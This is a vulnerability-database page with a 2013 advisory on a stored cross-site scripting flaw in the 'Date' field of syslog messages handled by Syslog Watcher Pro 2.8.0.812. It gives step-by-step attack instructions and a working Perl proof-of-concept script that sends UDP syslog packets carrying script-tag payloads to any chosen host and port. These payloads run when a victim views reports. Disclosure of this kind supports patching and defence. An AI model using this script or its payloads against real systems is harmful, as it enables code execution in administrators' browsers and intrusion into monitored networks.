Lucene search
K

Syslog Watcher Pro 2.8.0.812 Cross Site Scripting

🗓️ 30 Apr 2013 00:00:00Reported by demonalexType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 36 Views

Syslog Watcher Pro 2.8.0.812 Cross Site Scripting Vulnerability in 'Date' Paramete

Code
`Title: Syslog Watcher Pro 'Date' Parameter Cross Site Scripting Vulnerability  
Software : Syslog Watcher Pro  
  
Software Version : v2.8.0.812(Jun 15, 2009)  
  
Vendor: http://www.snmpsoft.com/  
  
Vulnerability Published : 2013-04-27  
  
Vulnerability Update Time :  
  
Status :   
  
Impact : Medium(CVSS2 Base : 6.4, AV:N/AC:L/Au:N/C:P/I:P/A:N)  
  
Bug Description :  
Syslog Watcher Pro is a Windows-based syslog server for corporate networks.  
Syslog Watcher Pro collects, stores, parses, displays and explains syslog information to both new and professional network administrators.  
Syslog Watcher Pro(v2.8.0.812) is vulnerable to XSS by 'Date' Parameter of syslog protocol.  
  
How to Attack :  
STEP 1: Send a syslog packet which contained XSS code into 'Date' Parameter to Syslog Watcher Pro.  
STEP 2: Syslog Watcher Pro put XSS code into database.  
STEP 3: XSS code will be executed after victim generate and view report by Syslog Watcher Pro.  
  
Proof Of Concept :  
-----------------------------------------------------------  
#!/usr/bin/perl  
use IO::Socket::INET;  
$|=1;  
  
$host=shift;  
$port=shift;  
  
if(defined($host) && defined($port)){  
;  
}else{  
die "usage: $0 host port\n";  
}  
  
$con=new IO::Socket::INET->new(PeerPort=>$port,  
Proto=>'udp',  
PeerAddr=>$host);  
  
$npriority = '<0>';  
$nhostname = "10.0.0.2";  
$npid = 'test[10]';  
$nmsg = "testing by demonalex";  
  
$testcase1="<script>alert(\"XSS1\")</script>";  
$testcase2="<script>alert(/XSS2/)</script>";  
  
#testcase1  
$header = $testcase1.' '.$nhostname.' '.$npid;  
$packet = $npriority.$header.': '.$nmsg;  
$con->send($packet);  
  
#testcase2  
$header = $testcase2.' '.$nhostname.' '.$npid;  
$packet = $npriority.$header.': '.$nmsg;  
$con->send($packet);  
  
$con->close;  
  
print "Over!\n";  
  
exit(1);  
-----------------------------------------------------------  
  
Credits : This vulnerability was discovered by demonalex(at)163(dot)com  
mail: demonalex(at)163(dot)com / [email protected]  
Independent Researcher  
DBAPPSecurity Co.,Ltd./Hong Kong PolyU  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation